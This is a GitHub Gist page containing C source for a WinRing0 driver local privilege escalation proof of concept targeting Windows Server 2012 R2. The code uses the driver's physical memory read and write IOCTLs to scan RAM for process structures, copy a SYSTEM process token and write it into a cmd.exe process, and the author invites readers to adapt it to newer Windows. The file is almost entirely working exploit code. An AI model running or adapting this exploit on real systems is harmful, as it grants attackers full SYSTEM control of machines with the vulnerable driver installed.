Last active
August 10, 2024 08:28
-
-
Save NSG650/d718fcf5aa78a407783e3404d7b54128 to your computer and use it in GitHub Desktop.
WinRing0 LPE PoC on Server 2012 R2
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// This PoC has been tested and worked on under Windows Server 2012 R2. | |
// I was in a hurry and did not want to bother with bypassing the modern security mechanisms provided on NT 10. | |
// Hence it was tested under Server 2012 R2 which is what I had at the moment. | |
// Feel free to play around with this and maybe get it working on NT 10 as well. | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <windows.h> | |
// ifndefs since TCC doesn't provide these definitions | |
#ifndef METHOD_BUFFERED | |
#define METHOD_BUFFERED 0 | |
#endif | |
#ifndef FILE_READ_ACCESS | |
#define FILE_READ_ACCESS 1 | |
#endif | |
#ifndef FILE_WRITE_ACCESS | |
#define FILE_WRITE_ACCESS 2 | |
#endif | |
#ifndef CTL_CODE | |
#define CTL_CODE(DeviceType, Function, Method, Access) (((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method)) | |
#endif | |
#define OLS_TYPE 40000 | |
#define IOCTL_OLS_READ_MEMORY CTL_CODE(OLS_TYPE, 0x841, METHOD_BUFFERED, FILE_READ_ACCESS) | |
#define IOCTL_OLS_WRITE_MEMORY CTL_CODE(OLS_TYPE, 0x842, METHOD_BUFFERED, FILE_WRITE_ACCESS) | |
typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS; | |
typedef struct _OLS_READ_MEMORY_INPUT { | |
PHYSICAL_ADDRESS Address; | |
ULONG UnitSize; | |
ULONG Count; | |
} OLS_READ_MEMORY_INPUT; | |
typedef struct _OLS_WRITE_MEMORY_INPUT { | |
PHYSICAL_ADDRESS Address; | |
ULONG UnitSize; | |
ULONG Count; | |
UCHAR Data[1]; | |
} OLS_WRITE_MEMORY_INPUT; | |
typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS; | |
#pragma pack(push, 4) | |
typedef struct _CM_PARTIAL_RESOURCE_DESCRIPTOR { | |
UCHAR Type; | |
UCHAR ShareDisposition; | |
USHORT Flags; | |
union { | |
struct { | |
PHYSICAL_ADDRESS Start; | |
ULONG Length; | |
} Generic; | |
struct { | |
PHYSICAL_ADDRESS Start; | |
ULONG Length; | |
} Port; | |
struct { | |
#if defined(NT_PROCESSOR_GROUPS) | |
USHORT Level; | |
USHORT Group; | |
#else | |
ULONG Level; | |
#endif | |
ULONG Vector; | |
KAFFINITY Affinity; | |
} Interrupt; | |
struct { | |
union { | |
struct { | |
#if defined(NT_PROCESSOR_GROUPS) | |
USHORT Group; | |
#else | |
USHORT Reserved; | |
#endif | |
USHORT MessageCount; | |
ULONG Vector; | |
KAFFINITY Affinity; | |
} Raw; | |
struct { | |
#if defined(NT_PROCESSOR_GROUPS) | |
USHORT Level; | |
USHORT Group; | |
#else | |
ULONG Level; | |
#endif | |
ULONG Vector; | |
KAFFINITY Affinity; | |
} Translated; | |
} DUMMYUNIONNAME; | |
} MessageInterrupt; | |
struct { | |
PHYSICAL_ADDRESS Start; | |
ULONG Length; | |
} Memory; | |
struct { | |
ULONG Channel; | |
ULONG Port; | |
ULONG Reserved1; | |
} Dma; | |
struct { | |
ULONG Channel; | |
ULONG RequestLine; | |
UCHAR TransferWidth; | |
UCHAR Reserved1; | |
UCHAR Reserved2; | |
UCHAR Reserved3; | |
} DmaV3; | |
struct { | |
ULONG Data[3]; | |
} DevicePrivate; | |
struct { | |
ULONG Start; | |
ULONG Length; | |
ULONG Reserved; | |
} BusNumber; | |
struct { | |
ULONG DataSize; | |
ULONG Reserved1; | |
ULONG Reserved2; | |
} DeviceSpecificData; | |
struct { | |
PHYSICAL_ADDRESS Start; | |
ULONG Length40; | |
} Memory40; | |
struct { | |
PHYSICAL_ADDRESS Start; | |
ULONG Length48; | |
} Memory48; | |
struct { | |
PHYSICAL_ADDRESS Start; | |
ULONG Length64; | |
} Memory64; | |
struct { | |
UCHAR Class; | |
UCHAR Type; | |
UCHAR Reserved1; | |
UCHAR Reserved2; | |
ULONG IdLowPart; | |
ULONG IdHighPart; | |
} Connection; | |
} u; | |
} CM_PARTIAL_RESOURCE_DESCRIPTOR, *PCM_PARTIAL_RESOURCE_DESCRIPTOR; | |
#pragma pack(pop, 4) | |
typedef enum _INTERFACE_TYPE { InterfaceTypeUndefined, Internal, Isa, Eisa, MicroChannel, TurboChannel, PCIBus, VMEBus, NuBus, PCMCIABus, CBus, MPIBus, MPSABus, ProcessorInternal, InternalPowerBus, PNPISABus, PNPBus, Vmcs, ACPIBus, MaximumInterfaceType } INTERFACE_TYPE, *PINTERFACE_TYPE; | |
typedef struct _CM_PARTIAL_RESOURCE_LIST { | |
USHORT Version; | |
USHORT Revision; | |
ULONG Count; | |
CM_PARTIAL_RESOURCE_DESCRIPTOR PartialDescriptors[1]; | |
} CM_PARTIAL_RESOURCE_LIST, *PCM_PARTIAL_RESOURCE_LIST; | |
typedef struct _CM_FULL_RESOURCE_DESCRIPTOR { | |
INTERFACE_TYPE InterfaceType; | |
ULONG BusNumber; | |
CM_PARTIAL_RESOURCE_LIST PartialResourceList; | |
} * PCM_FULL_RESOURCE_DESCRIPTOR, CM_FULL_RESOURCE_DESCRIPTOR; | |
typedef struct _CM_RESOURCE_LIST { | |
ULONG Count; | |
CM_FULL_RESOURCE_DESCRIPTOR List[1]; | |
} * PCM_RESOURCE_LIST, CM_RESOURCE_LIST; | |
typedef struct _MEMORY_REGION { | |
ULONGLONG Size; | |
ULONGLONG Address; | |
} * PMEMORY_REGION, MEMORY_REGION; | |
CHAR *SystemProcessNames[4] = {"smss.exe", "lsass.exe", "wininit.exe", "winlogon.exe"}; | |
#define EPROCESS_NAME_OFFSET 0x438 | |
#define EPROCESS_TOKEN_OFFSET 0x348 | |
#define EPROCESS_MAGIC 0x00b20003 | |
#define SIZE_OF_SYSTEM_PROCESS_NAME_ARRAY sizeof(SystemProcessNames) / sizeof(SystemProcessNames[0]) | |
DWORD GetPhysicalMemoryMap(PMEMORY_REGION Regions) { | |
HKEY h_key; | |
DWORD type, size = 0; | |
DWORD count = 0; | |
RegOpenKeyExA(HKEY_LOCAL_MACHINE, "HARDWARE\\RESOURCEMAP\\System Resources\\Physical Memory", 0, KEY_READ, &h_key); | |
RegQueryValueExA(h_key, ".Translated", NULL, &type, NULL, &size); // get size | |
if (!size) { | |
return 0; | |
} | |
BYTE *data = (BYTE *)malloc(size); | |
RegQueryValueExA(h_key, ".Translated", NULL, &type, (BYTE *)data, &size); | |
CM_RESOURCE_LIST *CmResourceList = (CM_RESOURCE_LIST *)data; | |
for (DWORD i = 0; i < CmResourceList->Count; i++) { | |
for (DWORD j = 0; j < CmResourceList->List[0].PartialResourceList.Count; j++) { | |
if (Regions != NULL) { | |
Regions[count].Address = CmResourceList->List[i].PartialResourceList.PartialDescriptors[j].u.Memory.Start.QuadPart; | |
Regions[count].Size = CmResourceList->List[i].PartialResourceList.PartialDescriptors[j].u.Memory.Length; | |
} | |
count++; | |
} | |
} | |
return count; | |
} | |
DWORD GetReservedMemoryMap(PMEMORY_REGION Regions) { | |
HKEY h_key; | |
DWORD type, size = 0; | |
DWORD count = 0; | |
RegOpenKeyExA(HKEY_LOCAL_MACHINE, "Hardware\\ResourceMap\\System Resources\\Reserved", 0, KEY_READ, &h_key); | |
RegQueryValueExA(h_key, ".Translated", NULL, &type, NULL, &size); // get size | |
if (!size) { | |
return 0; | |
} | |
BYTE *data = (BYTE *)malloc(size); | |
RegQueryValueExA(h_key, ".Translated", NULL, &type, (BYTE *)data, &size); | |
CM_RESOURCE_LIST *CmResourceList = (CM_RESOURCE_LIST *)data; | |
for (DWORD i = 0; i < CmResourceList->Count; i++) { | |
for (DWORD j = 0; j < CmResourceList->List[0].PartialResourceList.Count; j++) { | |
if (Regions != NULL) { | |
Regions[count].Address = CmResourceList->List[i].PartialResourceList.PartialDescriptors[j].u.Memory.Start.QuadPart; | |
Regions[count].Size = CmResourceList->List[i].PartialResourceList.PartialDescriptors[j].u.Memory.Length; | |
} | |
count++; | |
} | |
} | |
return count; | |
} | |
DWORD GetLoaderReservedMemoryMap(PMEMORY_REGION Regions) { | |
HKEY h_key; | |
DWORD type, size = 0; | |
DWORD count = 0; | |
RegOpenKeyExA(HKEY_LOCAL_MACHINE, "Hardware\\ResourceMap\\System Resources\\Loader Reserved", 0, KEY_READ, &h_key); | |
RegQueryValueExA(h_key, ".Translated", NULL, &type, NULL, &size); // get size | |
if (!size) { | |
return 0; | |
} | |
BYTE *data = (BYTE *)malloc(size); | |
RegQueryValueExA(h_key, ".Translated", NULL, &type, (BYTE *)data, &size); | |
CM_RESOURCE_LIST *CmResourceList = (CM_RESOURCE_LIST *)data; | |
for (DWORD i = 0; i < CmResourceList->Count; i++) { | |
for (DWORD j = 0; j < CmResourceList->List[0].PartialResourceList.Count; j++) { | |
if (Regions != NULL) { | |
Regions[count].Address = CmResourceList->List[i].PartialResourceList.PartialDescriptors[j].u.Memory.Start.QuadPart; | |
Regions[count].Size = CmResourceList->List[i].PartialResourceList.PartialDescriptors[j].u.Memory.Length; | |
} | |
count++; | |
} | |
} | |
return count; | |
} | |
BOOLEAN IsAddressInReservedMemory(PHYSICAL_ADDRESS Address, DWORD ReadSize, PMEMORY_REGION ReservedMap, DWORD ReservedSize) { | |
for (DWORD i = 0; i < ReservedSize; i++) { | |
if ((Address.QuadPart >= ReservedMap[i].Address) && ((Address.QuadPart + ReadSize) <= (ReservedMap[i].Address + ReservedMap[i].Size))) { | |
return TRUE; | |
} | |
} | |
return FALSE; | |
} | |
BOOLEAN IsReadValid(PHYSICAL_ADDRESS Address, DWORD ReadSize, MEMORY_REGION Region) { return ((Address.QuadPart >= Region.Address) && ((Address.QuadPart + ReadSize) <= (Region.Address + Region.Size))); } | |
INT main(void) { | |
HANDLE HandleToWinRing0 = CreateFileA("\\\\.\\WinRing0_1_2_0", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); | |
if (HandleToWinRing0 == INVALID_HANDLE_VALUE) { | |
printf("[!] Failed to get handle to WinRing0\n"); | |
return 1; | |
} | |
printf("[+] Got handle to the WinRing0 driver\n"); | |
DWORD PhysMemMapSize = GetPhysicalMemoryMap(NULL); | |
DWORD ReservedMemMapSize = GetReservedMemoryMap(NULL); | |
DWORD LoaderReservedMemMapSize = GetLoaderReservedMemoryMap(NULL); | |
if (!PhysMemMapSize) { | |
printf("[!] Failed to get memory map\n"); | |
return 1; | |
} | |
PMEMORY_REGION PhysRegions = (PMEMORY_REGION)malloc(sizeof(MEMORY_REGION) * PhysMemMapSize); | |
PMEMORY_REGION ReservedRegions = (PMEMORY_REGION)malloc(sizeof(MEMORY_REGION) * ReservedMemMapSize); | |
PMEMORY_REGION LoaderReservedRegions = (PMEMORY_REGION)malloc(sizeof(MEMORY_REGION) * LoaderReservedMemMapSize); | |
GetPhysicalMemoryMap(PhysRegions); | |
GetReservedMemoryMap(ReservedRegions); | |
GetLoaderReservedMemoryMap(LoaderReservedRegions); | |
BYTE ReadBuffer[0x1000] = {0}; | |
OLS_READ_MEMORY_INPUT ReadInBuf = {0}; | |
DWORD Temp = 0; | |
DWORD Indexer = 0; | |
ULONGLONG CmdTokenPhysAddr = 0; | |
ULONGLONG SystemProcessTokenPhysAddr = 0; | |
for (DWORD i = 0; i < PhysMemMapSize && !(CmdTokenPhysAddr && SystemProcessTokenPhysAddr); i++) { | |
printf("[*] Checking Region->Address: 0x%llx Region->Size: 0x%llx\n", PhysRegions[i].Address, PhysRegions[i].Size); | |
for (ULONGLONG j = 0; j < PhysRegions[i].Size && !(CmdTokenPhysAddr && SystemProcessTokenPhysAddr); j += 0x1000) { | |
ReadInBuf.Address.QuadPart = j + PhysRegions[i].Address; | |
ReadInBuf.UnitSize = 1; | |
ReadInBuf.Count = 0x1000; | |
if (IsAddressInReservedMemory(ReadInBuf.Address, ReadInBuf.Count, ReservedRegions, ReservedMemMapSize)) { | |
continue; | |
} | |
if (IsAddressInReservedMemory(ReadInBuf.Address, ReadInBuf.Count, LoaderReservedRegions, LoaderReservedMemMapSize)) { | |
continue; | |
} | |
if (!IsReadValid(ReadInBuf.Address, ReadInBuf.Count, PhysRegions[i])) { | |
continue; | |
} | |
// printf("[*] ReadInBuf.Address.QuadPart: 0x%llx, ReadInBuf.UnitSize: %d, ReadInBuf.Count: 0x%lx\n", ReadInBuf.Address.QuadPart, ReadInBuf.UnitSize, ReadInBuf.Count); | |
if (!DeviceIoControl(HandleToWinRing0, IOCTL_OLS_READ_MEMORY, &ReadInBuf, sizeof(ReadInBuf), ReadBuffer, 0x1000, &Temp, NULL)) { | |
printf("[-] Warning failed to read 0x%llx\n", ReadInBuf.Address.QuadPart); | |
continue; | |
} | |
for (ULONGLONG k = 0; k < 0x1000; k += 0x10) { | |
if (CmdTokenPhysAddr && SystemProcessTokenPhysAddr) { | |
break; | |
} | |
ULONG *PoolTag = (ULONG *)((ULONGLONG)ReadBuffer + k - 0x10 + 0x4); | |
if (*PoolTag != 0x636f7250) { // 0x636f7250 = 'Proc' | |
continue; | |
} | |
ULONGLONG PoolOffsetToEprocess = 0; | |
for (ULONGLONG l = 0; l < 0x100; l += 0x10) { | |
ULONG *EprocessMagic = (ULONG *)((ULONGLONG)ReadBuffer + k + l); | |
if (*EprocessMagic == EPROCESS_MAGIC) { | |
PoolOffsetToEprocess = l; | |
break; | |
} | |
} | |
if (PoolOffsetToEprocess == 0) { | |
continue; | |
} | |
// printf("[*] Found a Pool with tag 'Proc' at 0x%llx\n", (ULONGLONG)ReadInBuf.Address.QuadPart + k); | |
CHAR *Filename = (CHAR *)((ULONGLONG)ReadBuffer + k + PoolOffsetToEprocess + EPROCESS_NAME_OFFSET); | |
if (!SystemProcessTokenPhysAddr) { | |
for (Indexer = 0; Indexer < SIZE_OF_SYSTEM_PROCESS_NAME_ARRAY; Indexer++) { | |
if (strncmp(Filename, SystemProcessNames[Indexer], 0xF) == 0) { | |
printf("[+] Found a %s at 0x%llx\n", SystemProcessNames[Indexer], (ULONGLONG)ReadInBuf.Address.QuadPart + k + PoolOffsetToEprocess); | |
SystemProcessTokenPhysAddr = ReadInBuf.Address.QuadPart + k + PoolOffsetToEprocess + EPROCESS_TOKEN_OFFSET; | |
break; | |
} | |
} | |
} | |
if (!CmdTokenPhysAddr) { | |
if (strncmp(Filename, "cmd.exe", 0xF) == 0) { | |
printf("[+] Found a cmd.exe at 0x%llx\n", (ULONGLONG)ReadInBuf.Address.QuadPart + k + PoolOffsetToEprocess); | |
CmdTokenPhysAddr = ReadInBuf.Address.QuadPart + k + PoolOffsetToEprocess + EPROCESS_TOKEN_OFFSET; | |
} | |
} | |
} | |
} | |
} | |
if (!CmdTokenPhysAddr || !SystemProcessTokenPhysAddr) { | |
printf("[!] Failed to find system process or cmd.exe in physical memory!\n"); | |
CloseHandle(HandleToWinRing0); | |
return 1; | |
} | |
printf("[+] Found physical addresses for %s's token = 0x%llx and cmd.exe's token = 0x%llx\n", SystemProcessNames[Indexer], SystemProcessTokenPhysAddr, CmdTokenPhysAddr); | |
ULONGLONG SystemProcessToken = 0; | |
ReadInBuf.Address.QuadPart = SystemProcessTokenPhysAddr; | |
ReadInBuf.UnitSize = 1; | |
ReadInBuf.Count = sizeof(ULONGLONG); | |
printf("[*] Stealing %s's token\n", SystemProcessNames[Indexer]); | |
if (!DeviceIoControl(HandleToWinRing0, IOCTL_OLS_READ_MEMORY, &ReadInBuf, sizeof(ReadInBuf), &SystemProcessToken, sizeof(ULONGLONG), &Temp, NULL)) { | |
printf("[!] Failed to read 0x%llx\n", ReadInBuf.Address.QuadPart); | |
CloseHandle(HandleToWinRing0); | |
return 1; | |
} | |
printf("[+] Got %s's token = 0x%llx\n", SystemProcessNames[Indexer], SystemProcessToken); | |
printf("[*] Attempting to write in the stolen token\n"); | |
OLS_WRITE_MEMORY_INPUT *WriteBuf = malloc(sizeof(OLS_WRITE_MEMORY_INPUT) + sizeof(ULONGLONG)); | |
WriteBuf->Address.QuadPart = CmdTokenPhysAddr; | |
WriteBuf->UnitSize = 1; | |
WriteBuf->Count = sizeof(ULONGLONG); | |
memcpy(&WriteBuf->Data, &SystemProcessToken, sizeof(ULONGLONG)); | |
if (!DeviceIoControl(HandleToWinRing0, IOCTL_OLS_WRITE_MEMORY, WriteBuf, sizeof(OLS_WRITE_MEMORY_INPUT) + sizeof(ULONGLONG), NULL, 0, &Temp, NULL)) { | |
printf("[!] Failed to write 0x%llx\n", WriteBuf->Address.QuadPart); | |
CloseHandle(HandleToWinRing0); | |
return 1; | |
} | |
printf("[+] Success! We should have SYSTEM now!\n"); | |
CloseHandle(HandleToWinRing0); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment